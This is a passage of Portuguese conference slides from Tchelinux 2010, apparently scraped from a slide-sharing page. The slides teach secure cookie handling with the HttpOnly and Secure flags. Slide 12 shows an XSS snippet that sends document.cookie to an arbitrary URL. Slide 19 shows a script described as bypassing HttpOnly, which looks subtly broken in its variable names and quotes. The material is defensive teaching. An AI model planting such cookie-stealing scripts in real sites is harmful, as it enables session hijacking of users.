Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...
 
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...
 
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...
 
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio Grande
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio GrandeConstruindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio Grande
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio Grande
 
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio Grande
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio GrandeBikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio Grande
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio Grande
 
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...
 
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...
 
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...
 
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019
 
Com que ônibus eu vou? Uma gentil introdução ao Python.
Com que ônibus eu vou? Uma gentil introdução ao Python.Com que ônibus eu vou? Uma gentil introdução ao Python.
Com que ônibus eu vou? Uma gentil introdução ao Python.
 
O TCC... um dia ele chega! (The beautiful and easy LaTeX way.
O TCC... um dia ele chega! (The beautiful and easy LaTeX way.O TCC... um dia ele chega! (The beautiful and easy LaTeX way.
O TCC... um dia ele chega! (The beautiful and easy LaTeX way.
 
Não deixe para testar depois o que você pode testar antes.
Não deixe para testar depois o que você pode testar antes. Não deixe para testar depois o que você pode testar antes.
Não deixe para testar depois o que você pode testar antes.
 
Desenvolvendo jogos com pygame
Desenvolvendo jogos com pygameDesenvolvendo jogos com pygame
Desenvolvendo jogos com pygame
 
Essa câmera faz fotos muito boas, né?
Essa câmera faz fotos muito boas, né?Essa câmera faz fotos muito boas, né?
Essa câmera faz fotos muito boas, né?
 

Cookies seguros: HttpOnly e Secure para desenvolvimento web seguro

  • 1. Rodolfo Stangherlin Desenvolvimento web seguro: cookies Tchelinux 2010 - Caxias do Sul
  • 2. Sumário Apresentação HTTP é stateless  - e daí? Riscos Explorando com Javascript Httponly - Risco minimizado Secure - Só HTTPS Conclusão
  • 3. Apresentação Rodolfo Stangherlin Técnico em Desenvolvimento de Sistemas - CETEC Bacharelando em Ciência da Computação na UCS Trabalha em informática desde 2005 sobreviveu à suporte Linux/FreeBSD desenvolveu alguma coisa em PHP trabalha atualmente com Python/Django atualmente desenvolvedor Python/Django no NPDU (UCS)
  • 4. HTTP é stateless  - e daí? HTTP (Hypertext Transfer Protocol) é um protocolo da camada de aplicação do modelo OSI. Dizer que o protocolo é Stateless significa que a conexão não é mantida:
  • 5. HTTP é stateless - e daí? Fonte: http://wagnerelias.com
  • 6. HTTP é stateless - e daí? Cookies são enviados para identificar quem está enviando a requisição
  • 7. HTTP é stateless - e daí? Cookies são enviados para identificar quem está fazendo a requisição Isso é feito através de HEADERS
  • 8. HTTP é stateless - e daí? Resposta criando um cookie:   HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:22:07 GMT Server: WSGIServer/0.1 Python/2.5.5 Vary: Cookie Content-Type: text/html; charset=utf-8 Set-Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570; expires=Thu, 01-Jul-2010 03:22:07 GMT; Max-Age=1209600; Path=/ 
  • 9. HTTP é stateless - e daí? Requisição com o cookie já indentificado:   GET /capa/ HTTP/1.1 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570
  • 10. Riscos sequestro de sessão furto de dados problemas de autenticação ...
  • 12. Explorando com Javascript <script language="javascript" type="text/javascript"> document.location='/false/?cks=' + document.cookie; </script>
  • 13. Explorando com Javascript /false/ pode ser qualquer URL, que receberia os cookies que identificam a sessão (como o SESSION_ID ou PHPSESSID) document.cookie Propriedade que contém todos os cookies da página: "csrftoken=8fb73324ffff93d9e2eed7e1d5184b6a; sessionid=d6efaa3ee92a9ac89ec0f0b4763cc248"
  • 14. pq é necessário acessar o cookie de sessão via javascript?
  • 16. Httponly - Risco amenizado Adicionando a flag "httponly" na resposta do servidor, o navegador bloqueará acesso ao cookie via javascript: HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:27:51 GMT Server: WSGIServer/0.1 Python/2.6.5+ Content-Type: text/html; charset=utf-8 Set-Cookie: csrftoken=e0957542e6b3b25785a3d08ded669f8; Max-Age=31449600; Path=/ Set-Cookie: sessionid=903da9d05cdf07e7bea5c0e8d725ea0f; expires=Thu, 01-Jul-2010 03:27:50 GMT; httponly; Max- Age=1209600; Path=/
  • 17. Httponly - Risco amenizado Então, com javascript: document.cookie "csrftoken=e0957542e6b3b25785a3d08ded669f8"
  • 18. Httponly - Risco minimizado risco eliminado? Não   Usando Ajax (XMLHttpRequest), o cookie é passado e pode ser recuperado, mas é muito mais complexo
  • 19. Httponly - Risco minimizado burlando o HttpOnly var doc; try { doc = new XMLHttpRequest(); } catch(e) {} if (!req) try { doc = new ActiveXObject(“Msxml2.XMLHTTP”); } catch(e) {} if (!req) try { doc = new ActiveXObject(“Microsoft.XMLHTTP”); } catch(e) {} doc.open(“HEAD”, document.location, true); doc.send(null); doc.onreadystatechange=function() { if(doc.readyState==4) {  if(doc.status==200) {   var hidden=”";   var headers=doc.getAllResponseHeaders().split(” “);   for(i=0;i<headers.length;i++) {    var off1 = headers[i].indexOf(” “)+1;    var off2 = headers[i].indexOf(“;”)+1;    var cookie=headers[i].substring(off1, off2);    hidden=hidden+cookie+” “;   }  }  alert(“httpOnly cookie: “+hidden); } }
  • 20. Httponly - Risco minimizado pq não é assim por default?   HttpOnly não é padrão Web não está na RFC 2109 - HTTP State Management Mechanism)   criado pela Microsoft no IE6 hoje compatível com navegadores mais populares Mozilla Firefox (a partir da versão 3.0) Opera (a partir da versão 9.5) Google Chrome (desde a versão beta) Safari (desde versão 4)
  • 21. Httponly - Risco minimizado Django (Python) suporte apenas via middleware, fora do código "oficial", pois segue os padrões   Rails (Ruby) HttpOnly ativado por default   PHP configurável através do php.ini desde a versão 5.2.0 session.cookie_httponly = True setar cookie usando "header()" usar parâmentro "http_only=True" na função setcookie http://br.php.net/manual/en/function.setcookie.
  • 22. Httponly - Risco minimizado Dia 18/06, o site f-secure.com publicou um ataque de XSS:
  • 23. Httponly - Risco minimizado Passando o código javascript pela URL, ele era executado ao acessar a página...
  • 24. Secure - Só HTTPS Indica para o navegador enviar o cookie apenas em conexões seguras (HTTPS)   HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:46:30 GMT Server: Apache mod_wsgi/3.1 Python/2.6.4 Expires: Thu, 17 Jun 2010 03:46:30 GMT Vary: Cookie,Accept-Encoding Last-Modified: Thu, 17 Jun 2010 03:46:30 GMT Set-Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8; httponly; Path=/; secure
  • 25. Secure - Só HTTPS https://ucsvirtual.ucs.br/capa/ GET /capa/ HTTP/1.1 Host: ucsvirtual.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv: 1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8
  • 26. Secure - Só HTTPS http://www.ucs.br/site   GET /site HTTP/1.1 Host: www.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv: 1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive
  • 27. Conclusão Na maioria das vezes, o acesso ao cookie de sessão nunca é utilizado via javascript.   Talvez por causa disso as pessoas nunca lembrem que isso pode significar uma vulnerabilidade
  • 28. Conclusão Apenas HttpOnly + Secure não é suficiente.     O ideal é nunca permitir javascript seja exibido ;) Django o faz por default PHP pode usar função strip_tags
  • 29. Obrigado!   Rodolfo Stangherlin @rodolfo_3 rodolfo.3@gmail.com http://ratosdelaboratorio.blogspot.com